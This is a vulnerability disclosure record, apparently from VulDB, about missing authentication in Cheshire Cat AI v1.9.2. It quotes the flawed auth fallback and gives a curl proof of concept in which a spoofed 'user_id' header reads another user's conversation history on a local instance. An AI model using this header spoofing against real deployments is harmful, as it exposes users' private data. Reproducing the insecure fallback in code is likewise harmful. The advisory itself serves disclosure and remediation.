| Title | https://github.com/cheshire-cat-ai core v1.9.2 Missing Authentication |
|---|
| Description | Unauthenticated Access with Client-Controlled Identity in Default Configuration
### Summary
When no API key is configured (the default installation), Cheshire Cat AI accepts a client-supplied `user_id` HTTP header as the authenticated identity and grants that identity full permissions. An unauthenticated attacker can access or modify any user's data by sending arbitrary `user_id` values in the header, with no credentials required.
### Details
When the server receives a request, user identity is derived from the `user_id` header in `core/cat/auth/connection.py`:
```python
user_id = connection.headers.get("user_id", "user")
```
The custom auth handler in `core/cat/factory/custom_auth_handler.py`, in the `_authorize_http_key()` method, checks whether an API key was provided. If neither an HTTP key nor a WebSocket key is present, it falls through to:
```python
if not http_key and not ws_key:
return AuthUserInfo(
id=user_id,
name=user_id,
permissions=get_full_permissions()
)
```
The `user_id` here is taken directly from the client-controlled header. The default value of `CCAT_API_KEY` is `None`, meaning this branch is reached on every request in a default deployment. The returned `AuthUserInfo` carries full permissions, so the caller has unrestricted access to whatever user account they name in the header.
This is separate from the IDOR in CC-01. CC-01 requires a valid account and a valid credential. CC-02 requires neither -- in the default configuration, user isolation is entirely absent.
### PoC
Tested on Cheshire Cat AI v1.9.2 (commit f8025c9) with default configuration (CCAT_API_KEY not set).
```bash
# 1. Admin creates a user (alice) and sends a message as alice to populate history
ADMIN_TOKEN=$(curl -s -X POST http://localhost:1865/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}' | python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
curl -s -X POST http://localhost:1865/users/ \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"alice","password":"alice123"}'
ALICE_TOKEN=$(curl -s -X POST http://localhost:1865/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"alice","password":"alice123"}' | python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
curl -s -X POST http://localhost:1865/message \
-H "Authorization: Bearer $ALICE_TOKEN" \
-H "Content-Type: application/json" \
-d '{"text":"My secret passphrase is ALICE_SECRET_XYZ_9876"}'
# 2. Attacker reads alice's conversation history with no credentials
curl -s http://localhost:1865/memory/conversation_history \
-H "user_id: alice"
```
The response contains alice's full conversation history. No token, API key, or other credential is required. The `user_id` header alone determines the identity of the request.
### Impact
This is a missing authentication vulnerability. In a default deployment, any network-accessible attacker can read or write data for any user account by supplying that user's identifier in the `user_id` header. There is no credential to steal or brute-force -- the identity claim is accepted unconditionally. All per-user data accessible via the API, including conversation history and episodic memory, is exposed. |
|---|
| Source | ⚠️ https://github.com/cheshire-cat-ai/core/issues/1137 |
|---|
| User | geochen (UID 78995) |
|---|
| Submission | 08/02/2026 15:30 (1 month ago) |
|---|
| Moderation | 09/12/2026 18:38 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 403164 [cheshire-cat-ai Cheshire Cat AI up to 1.9.2 custom_auth_handler.py _authorize_http_key user_id missing authentication] |
|---|
| Points | 20 |
|---|